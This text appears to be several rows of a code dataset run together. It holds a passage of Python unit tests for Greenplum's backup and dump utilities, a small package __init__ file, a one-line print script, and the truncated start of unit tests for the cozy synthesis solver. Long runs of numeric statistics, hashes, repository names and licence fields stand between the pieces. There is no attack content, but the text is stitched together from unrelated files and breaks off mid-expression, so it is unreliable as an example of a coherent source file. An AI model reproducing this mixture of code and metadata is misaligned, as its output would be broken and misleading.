@patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_partition_list_file_with_nbu_10(self, mock1, mock2): master_datadir = "/data" backup_dir = None netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = "foo" backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_partition_list_file_with_nbu_11(self, mock1, mock2): master_datadir = "/data" backup_dir = "/tmp" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = "foo" backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_partition_list_file_with_nbu_12(self, mock1, mock2): master_datadir = None backup_dir = "/tmp" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = None netbackup_keyword = "foo" backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.execute_sql', return_value = [['gp_toolkit'], ['pg_toast'], ['pg_bitmapindex'], ['bar'], ['foo'], ['pg_catalog'], ['public'], ['information_schema']]) def test_get_include_schema_list_from_exclude_schema_00(self, mock1): master_port = "5432" dbname = 'testdb' catalog_schema_list = ['gp_toolkit', 'information_schema'] exclude_schema_list = ['public', 'foo'] expected_result = ['bar'] output = get_include_schema_list_from_exclude_schema(exclude_schema_list, catalog_schema_list, master_port, dbname) self.assertEqual(expected_result.sort(), output.sort()) @patch('gppylib.operations.dump.execute_sql', return_value = [['gp_toolkit'], ['pg_toast'], ['pg_bitmapindex'], ['bar'], ['foo'], ['pg_catalog'], ['public'], ['information_schema']]) def test_get_include_schema_list_from_exclude_schema_01(self, mock1): master_port = "5432" dbname = 'testdb' catalog_schema_list = ['gp_toolkit', 'information_schema'] exclude_schema_list = [] expected_result = ['public', 'foo', 'bar'] output = get_include_schema_list_from_exclude_schema(exclude_schema_list, catalog_schema_list, master_port, dbname) self.assertEqual(expected_result.sort(), output.sort()) class MailEventTestCase(unittest.TestCase): def setUp(self): self.mailEvent = MailEvent(subject="test", message="Hello", to_addrs="example@gopivotal.com") @patch('gppylib.operations.dump.Command.run') @patch('gppylib.operations.dump.findCmdInPath', return_value='/bin/mail') def test_mail_execute_00(self, mock1, mock2): m = MailEvent(subject="test", message="Hello", to_addrs="example@gopivotal.com") m.execute() if __name__ == '__main__': unittest.main()
54.463483
359
0.717552
18,671
155,112
5.581972
0.025815
0.063452
0.077979
0.095297
0.951325
0.935051
0.923787
0.91117
0.906343
0.894973
0
0.049201
0.184196
155,112
2,847
360
54.482613
0.774413
0.001096
0
0.797907
0
0.003221
0.23015
0.14361
0
0
0
0
0.055153
0
null
null
0
0.005233
null
null
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
8
e21ed6113a86d76e34af42093fa22f53b649c4aa
59
py
Python
bot/utils/__init__.py
Im-zeus/Stickers
f2484a1ecc9a3e4a2029eaadbde4ae1b0fe74536
[ "MIT" ]
44
2018-10-30T14:47:14.000Z
2022-03-26T15:17:52.000Z
bot/utils/__init__.py
Im-zeus/Stickers
f2484a1ecc9a3e4a2029eaadbde4ae1b0fe74536
[ "MIT" ]
37
2018-11-09T11:51:15.000Z
2021-12-27T15:08:48.000Z
bot/utils/__init__.py
Im-zeus/Stickers
f2484a1ecc9a3e4a2029eaadbde4ae1b0fe74536
[ "MIT" ]
38
2019-03-27T21:12:23.000Z
2022-01-08T07:57:39.000Z
from .helpers import utils from .helpers import decorators
19.666667
31
0.830508
8
59
6.125
0.625
0.44898
0.693878
0
0
0
0
0
0
0
0
0
0.135593
59
2
32
29.5
0.960784
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
e23ad8c48b2a29515ca040bd3244c89203ecb80c
30
py
Python
001113StepikPyGEK/StepikPyGEK001113сh01p04st12C05_20200407.py
SafonovMikhail/python_000577
739f764e80f1ca354386f00b8e9db1df8c96531d
[ "Apache-2.0" ]
null
null
null
001113StepikPyGEK/StepikPyGEK001113сh01p04st12C05_20200407.py
SafonovMikhail/python_000577
739f764e80f1ca354386f00b8e9db1df8c96531d
[ "Apache-2.0" ]
null
null
null
001113StepikPyGEK/StepikPyGEK001113сh01p04st12C05_20200407.py
SafonovMikhail/python_000577
739f764e80f1ca354386f00b8e9db1df8c96531d
[ "Apache-2.0" ]
null
null
null
print(5 ** 0.36 * 25 ** 0.32)
15
29
0.466667
7
30
2
0.857143
0
0
0
0
0
0
0
0
0
0
0.391304
0.233333
30
1
30
30
0.217391
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0
0
0
1
1
1
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
7
2c36833902e5ea02dad2f75d26f73c64c79c6046
338,141
py
Python
tests/solver.py
MostAwesomeDude/cozy
e7b0ace2915c54b1176fc4d3eed289ede109a058
[ "Apache-2.0" ]
null
null
null
tests/solver.py
MostAwesomeDude/cozy
e7b0ace2915c54b1176fc4d3eed289ede109a058
[ "Apache-2.0" ]
null
null
null
tests/solver.py
MostAwesomeDude/cozy
e7b0ace2915c54b1176fc4d3eed289ede109a058
[ "Apache-2.0" ]
null
null
null
import unittest from cozy.common import OrderedSet from cozy.solver import satisfy, valid, satisfiable, IncrementalSolver, ModelCachingSolver from cozy.typecheck import typecheck, retypecheck from cozy.target_syntax import * from cozy.structures.heaps import * from cozy.syntax_tools import pprint, equal, implies, mk_lambda, free_vars zero = ENum(0).with_type(TInt()) one = ENum(1).with_type(TInt()) def check_encoding(e, require=T, **opts): v = fresh_var(e.type) m = satisfy(EAll([require, EEq(e, v)]), validate_model=True, **opts) assert m is not None class TestSolver(unittest.TestCase): def test_symbolic_tuple(self): b = EVar("b").with_type(BOOL) x = EVar("x").with_type(TTuple((INT, INT))) y = EVar("y").with_type(TTuple((INT, INT))) e = equal(ETupleGet(ECond(b, x, y), 0), one) assert retypecheck(e) check_encoding(e) def test_the_empty(self): x = EEmptyList().with_type(TBag(TInt())) assert satisfy(EBinOp(EUnaryOp("the", x).with_type(INT), "==", one).with_type(TBool())) is None def test_the1(self): x = ESingleton(zero).with_type(TBag(TInt())) assert satisfy(EBinOp(EUnaryOp("the", x).with_type(INT), "==", zero).with_type(TBool())) is not None assert satisfy(EBinOp(EUnaryOp("the", x).with_type(INT), "==", one).with_type(TBool())) is None def test_the_acts_like_first(self): x = EBinOp(ESingleton(zero).with_type(TBag(TInt())), "+", ESingleton(one).with_type(TBag(TInt()))).with_type(TBag(TInt())) assert satisfy(EBinOp(EUnaryOp("the", x).with_type(INT), "==", zero).with_type(TBool())) is not None assert satisfy(EBinOp(EUnaryOp("the", x).with_type(INT), "==", one).with_type(TBool())) is None def test_the2(self): tgroup = TRecord((('name', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))), ('groupList', TBag(TString())), ('members', TBag(TNative('org.xmpp.packet.JID'))), ('administrators', TBag(TNative('org.xmpp.packet.JID'))))) groups = EVar('groups').with_type(TBag(THandle('groups', tgroup))) e = EUnaryOp('not', EBinOp(EUnaryOp('the', groups).with_type(THandle('groups', tgroup)), '==', EUnaryOp('the', EMap(EFilter(groups, ELambda(EVar('g').with_type(THandle('groups', tgroup)), EBinOp(EGetField(EGetField(EVar('g').with_type(THandle('groups', tgroup)), 'val').with_type(tgroup), 'name').with_type(TString()), '==', EVar('name').with_type(TString())).with_type(TBool()))).with_type(TBag(THandle('groups', tgroup))), ELambda(EVar('g').with_type(THandle('groups', tgroup)), EVar('g').with_type(THandle('groups', tgroup)))).with_type(TBag(THandle('groups', tgroup)))).with_type(THandle('groups', tgroup))).with_type(TBool())).with_type(TBool()) vars = [EVar('users').with_type(TBag(THandle('users', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))), EVar('rosterItems').with_type(TBag(THandle('rosterItems', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))))), groups, EVar('name').with_type(TString())] errs = typecheck(e, env={ v.id:v.type for v in vars }) assert not errs assert satisfy(e, vars=vars, validate_model=True) is not None def test_empty_sum(self): x = EVar("x").with_type(TInt()) model = satisfy(equal(x, EUnaryOp("sum", EEmptyList().with_type(TBag(TInt()))).with_type(INT))) assert model is not None assert model[x.id] == 0 def test_symbolic_maps1(self): x = EVar("x").with_type(TMap(TInt(), TInt())) y = EVar("y").with_type(TMap(TInt(), TInt())) e = ENot(equal(x, y)) check_encoding(e) def test_symbolic_maps2(self): x = EVar("x").with_type(TMap(TInt(), TInt())) e = ENot(equal(x, x)) assert not satisfiable(e, validate_model=True) def test_symbolic_maps3(self): b = EVar("b").with_type(BOOL) x = EVar("x").with_type(TMap(INT, INT)) y = EVar("y").with_type(TMap(INT, INT)) z = EVar("z").with_type(INT) e = equal(EMapGet(ECond(b, x, y), z), z) assert retypecheck(e) check_encoding(e) def test_flatmap(self): satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBinOp(EUnaryOp('unique', EMap(EVar('ints').with_type(TBag(THandle('_HandleType12', TInt()))), ELambda(EVar('_var13').with_type(THandle('_HandleType12', TInt())), EGetField(EVar('_var13').with_type(THandle('_HandleType12', TInt())), 'val').with_type(TInt()))).with_type(TBag(TInt()))).with_type(TBool()), 'and', EUnaryOp('unique', EVar('ints').with_type(TBag(THandle('_HandleType12', TInt())))).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'or', EUnaryOp('unique', EFlatMap(EVar('ints').with_type(TBag(THandle('_HandleType12', TInt()))), ELambda(EVar('_var458').with_type(THandle('_HandleType12', TInt())), ESingleton(EVar('_var458').with_type(THandle('_HandleType12', TInt()))).with_type(TBag(THandle('_HandleType12', TInt()))))).with_type(TBag(THandle('_HandleType12', TInt())))).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=None, collection_depth=2, validate_model=True) def test_filter_true(self): xs = EVar("xs").with_type(TBag(THandle("X", INT))) e1 = EFilter(xs, mk_lambda(xs.type.t, lambda x: equal(EGetField(x, "val"), ENum(0).with_type(INT)))) assert retypecheck(e1) e2 = EFilter(e1, mk_lambda(xs.type.t, lambda x: EBool(True))) assert retypecheck(e2) assert valid(equal(e1, e2)) def test_make_record(self): t = TRecord((("f", INT), ("g", INT))) a = EVar("a").with_type(INT) b = EVar("b").with_type(INT) x = EMakeRecord((("f", a), ("g", b))).with_type(t) y = EMakeRecord((("f", b), ("g", a))).with_type(t) z = EMakeRecord((("g", b), ("f", a))).with_type(t) assert not valid(equal(x, y), validate_model=True) assert valid(equal(x, z), validate_model=True) def test_unary_minus(self): a = EVar("a").with_type(INT) check_encoding(ENot(equal(a, EUnaryOp("-", a).with_type(INT)))) def test_distinct(self): a = EVar("a").with_type(TBag(INT)) check_encoding(ENot(equal(a, EUnaryOp("distinct", a).with_type(TBag(INT))))) def test_unique_distinct(self): a = EVar("a").with_type(TBag(INT)) assert valid(implies(EUnaryOp("unique", a).with_type(BOOL), equal(a, EUnaryOp("distinct", a).with_type(TBag(INT)))), validate_model=True) def test_distinct_of_empty(self): for t in (TSet, TBag, TList): e = EEmptyList().with_type(t(INT)) x = EVar("x").with_type(e.type) check_encoding(EEq(x, EUnaryOp(UOp.Distinct, e).with_type(e.type))) def test_emap(self): e = EEq( EVar("xs").with_type(INT_BAG), EMap(EVar("ys").with_type(INT_BAG), mk_lambda(INT, lambda x: EBinOp(x, "+", ONE).with_type(INT))).with_type(INT_BAG)) check_encoding(e) def test_map_keys_unique(self): a = EVar("a").with_type(TMap(INT, INT)) e = EUnaryOp(UOp.AreUnique, EMapKeys(a).with_type(TBag(INT))).with_type(BOOL) assert valid(e, validate_model=True) check_encoding(e) def test_map_keys_distinct(self): a = EVar("a").with_type(TMap(INT, INT)) e = equal(EMapKeys(a).with_type(TBag(INT)), EUnaryOp(UOp.Distinct, EMapKeys(a).with_type(TBag(INT))).with_type(TBag(INT))) assert valid(e, validate_model=True) check_encoding(e) def test_distinct_filter(self): a = EVar("a").with_type(TBag(INT)) e = ENot(equal(EUnaryOp(UOp.Distinct, EFilter(a, mk_lambda(a.type.t, lambda x: equal(x, zero)))), EEmptyList().with_type(a.type))) assert retypecheck(e) check_encoding(e) def test_unary_all(self): a = EUnaryOp(UOp.All, EVar("a").with_type(TBag(BOOL))) assert retypecheck(a) check_encoding(a) def test_unary_any(self): a = EUnaryOp(UOp.Any, EVar("a").with_type(TBag(BOOL))) assert retypecheck(a) check_encoding(a) def test_symbolic_enum_left(self): T = TEnum(("A", "B")) x = EVar("x").with_type(T) e = equal(x, EEnumEntry("B").with_type(T)) check_encoding(e) def test_symbolic_enum_right(self): T = TEnum(("A", "B")) x = EVar("x").with_type(T) e = equal(EEnumEntry("B").with_type(T), x) check_encoding(e) def test_enum_order(self): T = TEnum(("B", "A")) x = EVar("x").with_type(T) y = EVar("y").with_type(T) check_encoding(EBinOp(x, "<", y).with_type(BOOL)) def test_bag_deep_equals(self): x = EVar("x").with_type(INT_BAG) y = EVar("y").with_type(INT_BAG) assert satisfiable(EAll(( EEq(x, y), ENot(EBinOp(x, "===", y).with_type(BOOL)))), collection_depth=3, validate_model=True) def test_regression6(self): satisfy(EBinOp(EMakeMap2(EMap(EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), ELambda(EVar('_var44268').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EGetField(EGetField(EVar('_var44268').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), 'val').with_type(TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), 'key').with_type(TNative('uint64_t')))).with_type(TBag(TNative('uint64_t'))), ELambda(EVar('_var44256').with_type(TNative('uint64_t')), EFilter(EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), ELambda(EVar('_var44268').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EBinOp(EGetField(EGetField(EVar('_var44268').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), 'val').with_type(TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), 'key').with_type(TNative('uint64_t')), '==', EVar('_var44256').with_type(TNative('uint64_t'))).with_type(TBool()))).with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))))).with_type(TMap(TNative('uint64_t'), TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))))), '==', EMakeMap2(ESingleton(EVar('_var44256').with_type(TNative('uint64_t'))).with_type(TBag(TNative('uint64_t'))), ELambda(EVar('_var44256').with_type(TNative('uint64_t')), EEmptyList().with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))))).with_type(TMap(TNative('uint64_t'), TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))))).with_type(TBool()), vars=OrderedSet([EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), EVar('_var44256').with_type(TNative('uint64_t'))]), collection_depth=2, validate_model=True) def test_regression7(self): satisfy(EBinOp(EMakeMap2(EMap(EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), ELambda(EVar('_var44268').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EGetField(EGetField(EVar('_var44268').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), 'val').with_type(TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), 'key').with_type(TNative('uint64_t')))).with_type(TBag(TNative('uint64_t'))), ELambda(EVar('_var44256').with_type(TNative('uint64_t')), EFilter(EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), ELambda(EVar('_var44268').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EBinOp(EGetField(EGetField(EVar('_var44268').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), 'val').with_type(TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), 'key').with_type(TNative('uint64_t')), '==', EVar('_var44256').with_type(TNative('uint64_t'))).with_type(TBool()))).with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))))).with_type(TMap(TNative('uint64_t'), TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))))), 'in', ESingleton(EMakeMap2(ESingleton(EVar('_var44256').with_type(TNative('uint64_t'))).with_type(TBag(TNative('uint64_t'))), ELambda(EVar('_var44256').with_type(TNative('uint64_t')), EEmptyList().with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))))).with_type(TMap(TNative('uint64_t'), TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))))).with_type(TBag(TMap(TNative('uint64_t'), TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))))))).with_type(TBool()), vars=OrderedSet([EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), EVar('_var44256').with_type(TNative('uint64_t'))]), collection_depth=2, validate_model=True) def test_regression8(self): satisfy(EBinOp(EUnaryOp('not', EBinOp(EVar('_var15871').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), '==', EVar('_var15872').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))).with_type(TBool())).with_type(TBool()), 'and', ELet(EMakeMap2(EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), ELambda(EVar('_var1315').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EMakeMap2(EFilter(EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), ELambda(EVar('_var1314').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EBinOp(EGetField(EGetField(EVar('_var1315').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), 'val').with_type(TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), 'st').with_type(TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), '==', EEnumEntry('Disk').with_type(TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid')))).with_type(TBool()))).with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), 